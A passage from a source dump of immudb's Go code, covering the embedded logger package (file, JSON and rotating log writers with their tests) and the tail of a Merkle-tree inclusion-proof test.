ErrMaxWidthExceeded) err = tree.BuildWith(nil) require.NoError(t, err) require.Equal(t, sha256.Sum256(nil), tree.Root()) tree, err = New(maxWidth) require.NoError(t, err) digests := make([][sha256.Size]byte, maxWidth) for i := 0; i < len(digests); i++ { var b [8]byte binary.BigEndian.PutUint64(b[:], uint64(i)) digests[i] = sha256.Sum256(b[:]) } err = tree.BuildWith(digests) require.NoError(t, err) root := tree.Root() for i := 0; i < len(digests); i++ { proof, err := tree.InclusionProof(i) require.NoError(t, err) require.NotNil(t, proof) verifies := VerifyInclusion(proof, digests[i], root) require.True(t, verifies) verifies = VerifyInclusion(proof, sha256.Sum256(digests[i][:]), root) require.False(t, verifies) verifies = VerifyInclusion(proof, digests[i], sha256.Sum256(root[:])) require.False(t, verifies) proof.Terms = nil verifies = VerifyInclusion(proof, digests[i], root) require.False(t, verifies) verifies = VerifyInclusion(nil, digests[i], root) require.False(t, verifies) } err = tree.BuildWith(nil) require.NoError(t, err) require.Equal(t, sha256.Sum256(nil), tree.Root()) err = tree.BuildWith(make([][sha256.Size]byte, maxWidth+1)) require.ErrorIs(t, err, ErrMaxWidthExceeded) _, err = tree.InclusionProof(maxWidth) require.ErrorIs(t, err, ErrIllegalArguments) } ================================================ FILE: embedded/logger/file.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package logger import ( "errors" "log" "os" "path/filepath" ) // Deprecated: FileLogger is deprecated and will be removed in a future release. type FileLogger struct { Logger *log.Logger LogLevel LogLevel out *os.File } // Deprecated: use method NewLogger instead. func NewFileLogger(name string, file string) (logger Logger, out *os.File, err error) { out, err = setup(file) if err != nil { return nil, nil, err } logger = &FileLogger{ out: out, Logger: log.New(out, name, log.LstdFlags), LogLevel: LogLevelFromEnvironment(), } return logger, out, nil } // NewFileLoggerWithLevel ... func NewFileLoggerWithLevel(name string, file string, level LogLevel) (logger Logger, err error) { out, err := setup(file) if err != nil { return nil, err } logger = &FileLogger{ Logger: log.New(out, name+".log", log.LstdFlags), LogLevel: level, } return logger, nil } func setup(file string) (out *os.File, err error) { if _, err = os.Stat(filepath.Dir(file)); os.IsNotExist(err) { if err = os.Mkdir(filepath.Dir(file), os.FileMode(0755)); err != nil { return nil, errors.New("unable to create log folder") } } out, err = os.OpenFile(file, os.O_RDWR|os.O_CREATE|os.O_APPEND, 0666) if err != nil { return out, errors.New("unable to create log file") } return out, err } // Errorf ... func (l *FileLogger) Errorf(f string, v ...interface{}) { if l.LogLevel <= LogError { l.Logger.Printf("ERROR: "+f, v...) } } // Warningf ... func (l *FileLogger) Warningf(f string, v ...interface{}) { if l.LogLevel <= LogWarn { l.Logger.Printf("WARNING: "+f, v...) } } // Infof ... func (l *FileLogger) Infof(f string, v ...interface{}) { if l.LogLevel <= LogInfo { l.Logger.Printf("INFO: "+f, v...) } } // Debugf ... func (l *FileLogger) Debugf(f string, v ...interface{}) { if l.LogLevel <= LogDebug { l.Logger.Printf("DEBUG: "+f, v...) } } // Close the logger ... func (l *FileLogger) Close() error { if l.out != nil { return l.out.Close() } return nil } ================================================ FILE: embedded/logger/file_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package logger import ( "io/ioutil" "path/filepath" "testing" "github.com/stretchr/testify/require" ) func TestFileLogger(t *testing.T) { t.Setenv("LOG_LEVEL", "error") name := t.TempDir() outputFile := filepath.Join(name, "test-file-logger.log") fl, _, err := NewFileLogger(name, outputFile) require.NoError(t, err) fl.Debugf("some debug %d", 1) fl.Infof("some info %d", 1) fl.Warningf("some warning %d", 1) fl.Errorf("some error %d", 1) logBytes, err := ioutil.ReadFile(outputFile) logOutput := string(logBytes) require.NoError(t, err) require.Contains(t, logOutput, name) require.Contains(t, logOutput, " ERROR: some error 1") require.NotContains(t, logOutput, "some debug 1") require.NotContains(t, logOutput, "some info 1") require.NotContains(t, logOutput, "some warning 1") require.NoError(t, fl.Close()) outputFile3 := filepath.Join(name, "test-file-logger-with-level.log") fl3, err := NewFileLoggerWithLevel(name, outputFile3, LogWarn) require.NoError(t, err) fl3.Debugf("some debug %d", 3) fl3.Infof("some info %d", 3) fl3.Warningf("some warning %d", 3) fl3.Errorf("some error %d", 3) logBytes, err = ioutil.ReadFile(outputFile3) require.NoError(t, err) logOutput = string(logBytes) require.NotContains(t, logOutput, "some debug 3") require.NotContains(t, logOutput, "some info 2") require.Contains(t, logOutput, " WARNING: some warning 3") require.Contains(t, logOutput, " ERROR: some error 3") require.NoError(t, fl3.Close()) outputFile4 := filepath.Join(name, "test-file-logger-with-debug-level.log") fl4, err := NewFileLoggerWithLevel(name, outputFile4, LogDebug) require.NoError(t, err) fl4.Debugf("some debug %d", 4) fl4.Infof("some info %d", 4) fl4.Warningf("some warning %d", 4) fl4.Errorf("some error %d", 4) logBytes, err = ioutil.ReadFile(outputFile4) require.NoError(t, err) logOutput = string(logBytes) require.Contains(t, logOutput, "some debug 4") require.Contains(t, logOutput, "some info 4") require.Contains(t, logOutput, " WARNING: some warning 4") require.Contains(t, logOutput, " ERROR: some error 4") require.NoError(t, fl3.Close()) } ================================================ FILE: embedded/logger/json.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package logger import ( "encoding" "encoding/json" "fmt" "io" "os" "runtime" "sync" "sync/atomic" "time" ) const ( // DefaultTimeFormat is the time format to use for JSON output DefaultTimeFormat = "2006-01-02T15:04:05.000000Z07:00" // errInvalidTypeMsg message implies an arg cannot be serialized to json errInvalidTypeMsg = "cannot serialize arg(s) to json" // callerOffset is the stack frame offset in the call stack for the caller callerOffset = 4 // LogFormatText is the log format to use for TEXT output LogFormatText = "text" // LogFormatJSON is the log format to use for JSON output LogFormatJSON = "json" ) var ( // defaultOutput is used as the default log output. defaultOutput io.Writer = os.Stderr ) var _ Logger = (*JsonLogger)(nil) // JsonLogger is a logger implementation for json logging. type JsonLogger struct { name string timeFormat string timeFnc TimeFunc mutex sync.Mutex writer io.Writer level int32 } // NewJSONLogger returns a json logger. func NewJSONLogger(opts *Options) (*JsonLogger, error) { if opts == nil { opts = &Options{} } output := opts.Output if output == nil { output = defaultOutput } l := &JsonLogger{ name: opts.Name, timeFormat: DefaultTimeFormat, timeFnc: time.Now, writer: output, } if opts.TimeFnc != nil { l.timeFnc = opts.TimeFnc } if opts.TimeFormat != "" { l.timeFormat = opts.TimeFormat } l.level = int32(opts.Level) return l, nil } func (l *JsonLogger) logWithFmt(name string, level LogLevel, msg string, args ...interface{}) { msgStr := fmt.Sprintf(msg, args...) l.log(name, level, msgStr) } // Log a message and a set of key/value pairs for a given level. func (l *JsonLogger) log(name string, level LogLevel, msg string, args ...interface{}) { minLevel := LogLevel(atomic.LoadInt32(&l.level)) if level < minLevel { return } l.mutex.Lock() defer l.mutex.Unlock() t := l.timeFnc() l.logJSON(t, name, level, msg, args...) } func (l *JsonLogger) logJSON(t time.Time, name string, level LogLevel, msg string, args ...interface{}) { vals := l.getVals(t, name, level, msg) if len(args) > 0 { for i := 0; i < len(args); i = i + 2 { val := args[i+1] switch sv := val.(type) { case error: switch sv.(type) { case json.Marshaler, encoding.TextMarshaler: default: val = sv.Error() } } var key string switch st := args[i].(type) { case string: key = st default: key = fmt.Sprintf("%s", st) } vals[key] = val } } err := json.NewEncoder(l.writer).Encode(vals) if err != nil { if _, ok := err.(*json.UnsupportedTypeError); ok { vals := l.getVals(t, name, level, msg) vals["warn"] = errInvalidTypeMsg json.NewEncoder(l.writer).Encode(vals) } } } func (l *JsonLogger) getVals(t time.Time, name string, level LogLevel, msg string) map[string]interface{} { vals := map[string]interface{}{ "message": msg, "timestamp": t.Format(l.timeFormat), } if name != "" { vals["module"] = name } levelStr := levelToString[level] if levelStr == "" { levelStr = "all" } vals["level"] = levelStr if pc, file, line, ok := runtime.Caller(callerOffset + 1); ok { vals["caller"] = fmt.Sprintf("%s:%d", file, line) if ok { f := runtime.FuncForPC(pc) vals["component"] = f.Name() } } return vals } // Debugf prints the message and args at DEBUG level func (l *JsonLogger) Debug(msg string, args ...interface{}) { l.log(l.Name(), LogDebug, msg, args...) } // Infof prints the message and args at INFO level func (l *JsonLogger) Info(msg string, args ...interface{}) { l.log(l.Name(), LogInfo, msg, args...) } // Warningf prints the message and args at WARN level func (l *JsonLogger) Warning(msg string, args ...interface{}) { l.log(l.Name(), LogWarn, msg, args...) } // Errorf prints the message and args at ERROR level func (l *JsonLogger) Error(msg string, args ...interface{}) { l.log(l.Name(), LogError, msg, args...) } // Debugf prints the message and args at DEBUG level func (l *JsonLogger) Debugf(msg string, args ...interface{}) { l.logWithFmt(l.Name(), LogDebug, msg, args...) } // Infof prints the message and args at INFO level func (l *JsonLogger) Infof(msg string, args ...interface{}) { l.logWithFmt(l.Name(), LogInfo, msg, args...) } // Warningf prints the message and args at WARN level func (l *JsonLogger) Warningf(msg string, args ...interface{}) { l.logWithFmt(l.Name(), LogWarn, msg, args...) } // Errorf prints the message and args at ERROR level func (l *JsonLogger) Errorf(msg string, args ...interface{}) { l.logWithFmt(l.Name(), LogError, msg, args...) } // Update the logging level func (l *JsonLogger) SetLogLevel(level LogLevel) { atomic.StoreInt32(&l.level, int32(level)) } // Name returns the loggers name func (i *JsonLogger) Name() string { return i.name } // Close the logger func (i *JsonLogger) Close() error { if wc, ok := i.writer.(io.Closer); ok { return wc.Close() } return nil } ================================================ FILE: embedded/logger/json_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package logger import ( "bytes" "encoding/json" "errors" "io/ioutil" "os" "testing" "time" "github.com/stretchr/testify/require" ) func TestJSONLogger(t *testing.T) { t.Run("log", func(t *testing.T) { logger, err := NewJSONLogger(nil) require.NoError(t, err) logger.SetLogLevel(LogDebug) require.EqualValues(t, LogDebug, logger.level) var buf bytes.Buffer logger, err = NewJSONLogger(&Options{ Name: "test", Output: &buf, }) require.NoError(t, err) logger.Info("test call", "user", "foo") b := buf.Bytes() var raw map[string]interface{} if err := json.Unmarshal(b, &raw); err != nil { t.Fatal(err) } require.Equal(t, "test call", raw["message"]) require.Equal(t, "foo", raw["user"]) require.NoError(t, logger.Close()) }) t.Run("use UTC time zone", func(t *testing.T) { var buf bytes.Buffer logger, err := NewJSONLogger(&Options{ Name: "test", Output: &buf, TimeFormat: time.Kitchen, TimeFnc: func() time.Time { return time.Now().UTC() }, }) require.NoError(t, err) logger.Info("foobar") b := buf.Bytes() var raw map[string]interface{} if err := json.Unmarshal(b, &raw); err != nil { t.Fatal(err) } val, ok := raw["timestamp"] if !ok { t.Fatal("missing 'timestamp' key") } require.Equal(t, val, time.Now().UTC().Format(time.Kitchen)) }) t.Run("log error type", func(t *testing.T) { var buf bytes.Buffer logger, err := NewJSONLogger(&Options{ Name: "test", Output: &buf, }) require.NoError(t, err) errMsg := errors.New("this is an error") logger.Info("test call", "user", "foo", "err", errMsg) b := buf.Bytes() var raw map[string]interface{} if err := json.Unmarshal(b, &raw); err != nil { t.Fatal(err) } require.Equal(t, "test call", raw["message"]) require.Equal(t, "foo", raw["user"]) require.Equal(t, errMsg.Error(), raw["err"]) }) t.Run("handles non-serializable args", func(t *testing.T) { var buf bytes.Buffer logger, err := NewJSONLogger(&Options{ Name: "test", Output: &buf, }) require.NoError(t, err) myfunc := func() int { return 42 } logger.Info("test call", "production", myfunc) b := buf.Bytes() var raw map[string]interface{} if err := json.Unmarshal(b, &raw); err != nil { t.Fatal(err) } require.Equal(t, "test call", raw["message"]) require.Equal(t, errInvalidTypeMsg, raw["warn"]) }) t.Run("use file output for logging", func(t *testing.T) { file, err := ioutil.TempFile("", "logger") require.NoError(t, err) defer os.Remove(file.Name()) logger, err := NewJSONLogger(&Options{ Name: "test", Output: file, TimeFormat: time.Kitchen, TimeFnc: func() time.Time { return time.Now().UTC() }, }) require.NoError(t, err) logger.Info("some info", "foo", "bar") logBytes, err := ioutil.ReadFile(file.Name()) require.NoError(t, err) var raw map[string]interface{} if err := json.Unmarshal(logBytes, &raw); err != nil { t.Fatal(err) } require.Equal(t, "some info", raw["message"]) require.Equal(t, "bar", raw["foo"]) require.NoError(t, logger.Close()) }) t.Run("log with debug", func(t *testing.T) { var buf bytes.Buffer logger, err := NewJSONLogger(&Options{ Name: "test", Output: &buf, }) require.NoError(t, err) logger.Debug("some info", "foo", "bar") b := buf.Bytes() var raw map[string]interface{} if err := json.Unmarshal(b, &raw); err != nil { t.Fatal(err) } require.Equal(t, "some info", raw["message"]) require.Equal(t, "bar", raw["foo"]) require.Equal(t, "debug", raw["level"]) }) t.Run("log with warning", func(t *testing.T) { var buf bytes.Buffer logger, err := NewJSONLogger(&Options{ Name: "test", Output: &buf, }) require.NoError(t, err) logger.Warning("some info", "foo", "bar") b := buf.Bytes() var raw map[string]interface{} if err := json.Unmarshal(b, &raw); err != nil { t.Fatal(err) } require.Equal(t, "some info", raw["message"]) require.Equal(t, "bar", raw["foo"]) require.Equal(t, "warn", raw["level"]) }) t.Run("log with error", func(t *testing.T) { var buf bytes.Buffer logger, err := NewJSONLogger(&Options{ Name: "test", Output: &buf, }) require.NoError(t, err) logger.Error("some info", "foo", "bar") b := buf.Bytes() var raw map[string]interface{} if err := json.Unmarshal(b, &raw); err != nil { t.Fatal(err) } require.Equal(t, "some info", raw["message"]) require.Equal(t, "bar", raw["foo"]) require.Equal(t, "error", raw["level"]) }) t.Run("log with infof", func(t *testing.T) { var buf bytes.Buffer logger, err := NewJSONLogger(&Options{ Name: "test", Output: &buf, }) require.NoError(t, err) logger.Infof("some info %s %s", "foo", "bar") b := buf.Bytes() var raw map[string]interface{} if err := json.Unmarshal(b, &raw); err != nil { t.Fatal(err) } require.Equal(t, "some info foo bar", raw["message"]) require.Equal(t, "info", raw["level"]) }) t.Run("log with debugf", func(t *testing.T) { var buf bytes.Buffer logger, err := NewJSONLogger(&Options{ Name: "test", Output: &buf, }) require.NoError(t, err) logger.Debugf("some info %s %s", "foo", "bar") b := buf.Bytes() var raw map[string]interface{} if err := json.Unmarshal(b, &raw); err != nil { t.Fatal(err) } require.Equal(t, "some info foo bar", raw["message"]) require.Equal(t, "debug", raw["level"]) }) t.Run("log with warningf", func(t *testing.T) { var buf bytes.Buffer logger, err := NewJSONLogger(&Options{ Name: "test", Output: &buf, }) require.NoError(t, err) logger.Warningf("some info %s %s", "foo", "bar") b := buf.Bytes() var raw map[string]interface{} if err := json.Unmarshal(b, &raw); err != nil { t.Fatal(err) } require.Equal(t, "some info foo bar", raw["message"]) require.Equal(t, "warn", raw["level"]) }) t.Run("log with errorf", func(t *testing.T) { var buf bytes.Buffer logger, err := NewJSONLogger(&Options{ Name: "test", Output: &buf, }) require.NoError(t, err) logger.Errorf("some info %s %s", "foo", "bar") b := buf.Bytes() var raw map[string]interface{} if err := json.Unmarshal(b, &raw); err != nil { t.Fatal(err) } require.Equal(t, "some info foo bar", raw["message"]) require.Equal(t, "error", raw["level"]) }) t.Run("log with component", func(t *testing.T) { var buf bytes.Buffer logger, err := NewJSONLogger(&Options{ Name: "test", Output: &buf, }) require.NoError(t, err) logWithFunc(logger, "some info foo bar") b := buf.Bytes() var raw map[string]interface{} if err := json.Unmarshal(b, &raw); err != nil { t.Fatal(err) } require.Equal(t, "github.com/codenotary/immudb/embedded/logger.logWithFunc", raw["component"]) }) } func logWithFunc(l *JsonLogger, msg string) { l.Infof("%s", msg) } ================================================ FILE: embedded/logger/log_file_writer.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package logger import ( "errors" "fmt" "io" "os" "path/filepath" "strings" "time" ) func createLogFileWriter(opts *Options) (io.Writer, error) { if opts.LogDir != "" { if err := os.MkdirAll(opts.LogDir, os.ModePerm); err != nil && !errors.Is(err, os.ErrExist) { return nil, err } } if opts.LogRotationAge > 0 && opts.LogRotationAge < logRotationAgeMin { return nil, fmt.Errorf("log rotation age must be greater than %s", logRotationAgeMin.String()) } timeFunc := opts.TimeFnc if timeFunc == nil { timeFunc = func() time.Time { return time.Now() } } lf := &logFileWriter{ timeFunc: timeFunc, timeFormat: opts.LogFileTimeFormat, dir: opts.LogDir, fileName: opts.LogFile, rotationSize: opts.LogRotationSize, rotationAge: opts.LogRotationAge, currSegmentSize: 0, } err := lf.rotate(lf.currAge()) return lf, err } var _ io.Closer = (*logFileWriter)(nil) type logFileWriter struct { currSegment *os.File timeFunc TimeFunc timeFormat string dir string fileName string rotationSize int rotationAge time.Duration currentSegmentAgeNum int64 currSegmentSize int nextSeqNum int } func (bf *logFileWriter) Write(buf []byte) (int, error) { age := bf.currAge() if bf.shouldRotate(len(buf), age) { if err := bf.rotate(age); err != nil { return -1, err } } n, err := bf.currSegment.Write(buf) if err == nil { bf.currSegmentSize += len(buf) } return n, err } func (bf *logFileWriter) shouldRotate(nBytes int, ageNum int64) bool { if bf.rotationAge == 0 && bf.rotationSize == 0 { return false } if bf.rotationSize > 0 && bf.currSegmentSize+int(nBytes) > bf.rotationSize { return true } if bf.rotationAge > 0 && int64(ageNum) > bf.currentSegmentAgeNum { return true } return false } func (bf *logFileWriter) rotate(age int64) error { if err := bf.Close(); err != nil { return err } bf.currSegmentSize = 0 if bf.rotationAge > 0 { bf.currentSegmentAgeNum = age } name, err := bf.getNextSegmentName() if err != nil { return err } logFile, err := os.Create(name) if err != nil { return err } bf.currSegment = logFile return nil } func (bf *logFileWriter) getNextSegmentName() (string, error) { num := bf.nextSeqNum name := bf.segmentName() _, err := os.Stat(name) for err == nil { num++ _, err = os.Stat(fmt.Sprintf("%s.%04d", name, num)) } if !errors.Is(err, os.ErrNotExist) { return "", err } // NOTE: Without specifying a time format, the same file names will be generated during each rotation. if bf.timeFormat == "" { bf.nextSeqNum = num } if num > 0 { return fmt.Sprintf("%s.%04d", name, num), nil } return name, nil } func (bf *logFileWriter) segmentName() string { if bf.timeFormat == "" || bf.rotationAge == 0 { return filepath.Join(bf.dir, bf.fileName) } ext := filepath.Ext(bf.fileName) t := time.Unix(0, bf.currentSegmentAgeNum*bf.rotationAge.Nanoseconds()) name := fmt.Sprintf("%s_%s%s", strings.TrimSuffix(bf.fileName, ext), t.Format(bf.timeFormat), ext) return filepath.Join(bf.dir, name) } func (bf *logFileWriter) currAge() int64 { if bf.rotationAge == 0 { return 0 } return bf.timeFunc().UnixNano() / bf.rotationAge.Nanoseconds() } func (bf *logFileWriter) Close() error { if bf.currSegment == nil { return nil } if err := bf.currSegment.Sync(); err != nil { return err } return bf.currSegment.Close() } ================================================ FILE: embedded/logger/log_file_writer_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package logger import ( "bufio" "fmt" "os" "path" "path/filepath" "sort" "strings" "testing" "time" "github.com/stretchr/testify/require" ) func TestLogFileIsRotatedOnInit(t *testing.T) { tempDir := t.TempDir() today := time.Now().Truncate(time.Hour * 24) opts := &Options{ Name: "immudb", LogFormat: LogFormatJSON, Level: LogDebug, LogDir: tempDir, LogFile: "immudb.log", TimeFormat: LogFileFormat, TimeFnc: func() time.Time { return today }, } logger, err := NewLogger(opts) require.NoError(t, err) files, err := readFiles(tempDir, "immudb") require.NoError(t, err) require.Len(t, files, 1) require.Equal(t, "immudb.log", files[0]) err = logger.Close() require.NoError(t, err) logger, err = NewLogger(opts) require.NoError(t, err) defer logger.Close() files, err = readFiles(tempDir, "immudb") require.NoError(t, err) require.Len(t, files, 2) require.Equal(t, []string{"immudb.log", "immudb.log.0001"}, files) } type mockWriter struct { nBytes int nCalls int } func (w *mockWriter) Write(buf []byte) (int, error) { w.nBytes += len(buf) w.nCalls++ return len(buf), nil } func TestLogAreSentToOutput(t *testing.T) { mw := &mockWriter{} logger, err := NewLogger(&Options{ Name: "immudb", LogFormat: LogFormatJSON, Output: mw, Level: LogDebug, }) require.NoError(t, err) defer logger.Close() nLogs := 100 for i := 0; i < nLogs; i++ { logger.Errorf("test log %d", i) } require.Equal(t, mw.nCalls, nLogs) } func TestLoggerFileWithRotationDisabled(t *testing.T) { tempDir := t.TempDir() logger, err := NewLogger(&Options{ Name: "immudb", LogFormat: LogFormatJSON, Level: LogDebug, LogDir: tempDir, LogFile: "immudb.log", TimeFnc: func() time.Time { return time.Now() }, }) require.NoError(t, err) defer logger.Close() nLogs := 100 for i := 0; i < nLogs; i++ { logger.Errorf("test log %d", i) } err = logger.Close() require.NoError(t, err) entries, err := os.ReadDir(tempDir) require.NoError(t, err) require.Len(t, entries, 1) require.Equal(t, "immudb.log", entries[0].Name()) f, err := os.Open(filepath.Join(tempDir, "immudb.log")) require.NoError(t, err) sc := bufio.NewScanner(f) for sc.Scan() { require.Contains(t, sc.Text(), "test log") } require.NoError(t, sc.Err()) } func TestLoggerFileAgeRotation(t *testing.T) { tempDir := t.TempDir() age := time.Hour * 24 i := 0 now := time.Now().Truncate(age) logger, err := NewLogger(&Options{ Name: "immudb", LogFormat: LogFormatText, Level: LogDebug, LogDir: tempDir, LogFile: "immudb.log", LogRotationSize: 1024 * 1024, LogRotationAge: time.Hour * 24, TimeFnc: func() time.Time { t := now.Add(age * time.Duration(i)) i++ return t }, }) require.NoError(t, err) defer logger.Close() nLogs := 100 for i := 0; i < nLogs; i++ { logger.Errorf("this is a test") } require.Equal(t, nLogs+1, i) entries, err := os.ReadDir(tempDir) require.NoError(t, err) require.Len(t, entries, nLogs+1) files, err := readFiles(tempDir, "immudb.log") require.NoError(t, err) require.Len(t, files, nLogs+1) require.Equal(t, files[0], "immudb.log") for i := 1; i < len(files); i++ { require.Equal(t, fmt.Sprintf("immudb.log.%04d", i), files[i]) } } func TestLoggerFileAgeRotationWithTimeFormat(t *testing.T) { tempDir := t.TempDir() age := time.Hour * 24 i := 0 now := time.Now().Truncate(age) logger, err := NewLogger(&Options{ Name: "immudb", LogFormat: LogFormatText, LogFileTimeFormat: LogFileFormat, Level: LogDebug, LogDir: tempDir, LogFile: "immudb.log", LogRotationSize: 1024 * 1024, LogRotationAge: time.Hour * 24, TimeFnc: func() time.Time { t := now.Add(age * time.Duration(i)) i++ return t }, }) require.NoError(t, err) defer logger.Close() nLogs := 100 for i := 0; i < nLogs; i++ { logger.Errorf("this is a test") } require.Equal(t, nLogs+1, i) files, err := readFiles(tempDir, "immudb") require.NoError(t, err) require.Len(t, files, nLogs+1) for n, f := range files { name := strings.TrimSuffix(f, path.Ext(f)) idx := strings.LastIndex(name, "_") require.GreaterOrEqual(t, idx, 0) segmentAge := name[idx+1:] ageTime, err := time.Parse(LogFileFormat, segmentAge) require.NoError(t, err) require.Equal(t, ageTime.UTC(), now.Add(age*time.Duration(n)).UTC()) } } func TestLoggerFileSizeRotation(t *testing.T) { tempDir := t.TempDir() logger, err := NewLogger(&Options{ Name: "immudb", LogFormat: LogFormatText, Level: LogDebug, LogDir: tempDir, LogFile: "immudb.log", LogRotationSize: 100, LogRotationAge: time.Hour * 24, }) require.NoError(t, err) nLogs := 100 for i := 0; i < nLogs; i++ { logger.Errorf("this is a test") } err = logger.Close() require.NoError(t, err) files, err := readFiles(tempDir, "immudb.log") require.NoError(t, err) require.NotEmpty(t, files) for _, fname := range files { finfo, err := os.Stat(filepath.Join(tempDir, fname)) require.NoError(t, err) require.LessOrEqual(t, finfo.Size(), int64(100)) } } func readFiles(dir, prefix string) ([]string, error) { entries, err := os.ReadDir(dir) if err != nil { return nil, err } files := make([]string, 0) for _, e := range entries { if e.IsDir() { continue } if strings.HasPrefix(e.Name(), prefix) { files = append(files, e.Name()) } } sort.Slice(files, func(i, j int) bool { return files[i] < files[j] }) return files, nil } ================================================ FILE: embedded/logger/logger.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package logger import ( "errors" "io" "os" "strings" "time" ) var ( ErrInvalidLoggerType = errors.New("invalid logger type") levelToString = map[LogLevel]string{ LogDebug: "debug", LogInfo: "info", LogWarn: "warn", LogError: "error", } ) const ( LogFileFormat = time.RFC3339 logRotationAgeMin = time.Minute ) // LogLevel ... type LogLevel int8 // Log levels const ( LogDebug LogLevel = iota LogInfo LogWarn LogError ) // Logger ... type Logger interface { Errorf(string, ...interface{}) Warningf(string, ...interface{}) Infof(string, ...interface{}) Debugf(string, ...interface{}) Close() error } func LogLevelFromEnvironment() LogLevel { logLevel, _ := os.LookupEnv("LOG_LEVEL") switch strings.ToLower(logLevel) { case "error": return LogError case "warn": return LogWarn case "info": return LogInfo case "debug": return LogDebug } return LogInfo } type ( TimeFunc = func() time.Time // Options can be used to configure a new logger. Options struct { // Name of the subsystem to prefix logs with Name string // The threshold for the logger. Anything less severe is supressed Level LogLevel // Where to write the logs to. Defaults to os.Stderr if nil Output io.Writer // The time format to use instead of the default TimeFormat string // A function which is called to get the time object that is formatted using `TimeFormat` TimeFnc TimeFunc // The format in which logs will be formatted. (eg: text/json) LogFormat string // The directory logs will be stored to. LogDir string // The file to write to. LogFile string // The time format of different log segments. LogFileTimeFormat string // The maximum size a log segment can reach before being rotated. LogRotationSize int // The maximum duration (age) of a log segment before it is rotated. LogRotationAge time.Duration } ) // NewLogger is a factory for selecting a logger based on options func NewLogger(opts *Options) (logger Logger, err error) { out := opts.Output if out == nil { out = os.Stderr } if opts.LogFile != "" { w, err := createLogFileWriter(opts) if err != nil { return nil, err } out = w } switch opts.LogFormat { case LogFormatJSON: optsCopy := *opts optsCopy.Output = out return NewJSONLogger(&optsCopy) case LogFormatText: return NewSimpleLogger(opts.Name, out), nil default: return nil, ErrInvalidLoggerType } } ================================================ FILE: embedded/logger/logger_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package logger import ( "os" "path/filepath" "reflect" "testing" ) func TestNewLogger(t *testing.T) { type args struct { opts *Options } tests := []struct { name string args args wantLoggerType Logger wantErr bool }{ { name: "with json logger", args: args{ opts: &Options{ Name: "foo", LogFormat: "json", }, }, wantLoggerType: &JsonLogger{}, wantErr: false, }, { name: "with text logger", args: args{ opts: &Options{ Name: "foo", LogFormat: LogFormatText, }, }, wantLoggerType: &SimpleLogger{}, wantErr: false, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { gotLogger, err := NewLogger(tt.args.opts) if (err != nil) != tt.wantErr { t.Errorf("NewLogger() error = %v, wantErr %v", err, tt.wantErr) return } defer gotLogger.Close() if reflect.TypeOf(gotLogger) != reflect.TypeOf(tt.wantLoggerType) { t.Errorf("NewLogger() = %v, want %v", gotLogger, tt.wantLoggerType) } }) } } func TestNewLoggerWithFile(t *testing.T) { tests := []struct { name string opts *Options wantLoggerType Logger wantErr bool }{ { name: "with json logger", opts: &Options{ Name: "foo", LogFormat: "json", LogFile: filepath.Join(t.TempDir(), "log_json.log"), }, wantLoggerType: &JsonLogger{}, wantErr: false, }, { name: "with text logger", opts: &Options{ Name: "foo", LogFormat: LogFormatText, LogFile: filepath.Join(t.TempDir(), "log_text.log"), }, wantLoggerType: &SimpleLogger{}, wantErr: false, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { gotLogger, err := NewLogger(tt.opts) defer os.RemoveAll(tt.opts.LogFile) if (err != nil) != tt.wantErr { t.Errorf("NewLogger() error = %v, wantErr %v", err, tt.wantErr) return } defer gotLogger.Close() if reflect.TypeOf(gotLogger) != reflect.TypeOf(tt.wantLoggerType) { t.Errorf("NewLogger() = %v, want %v", 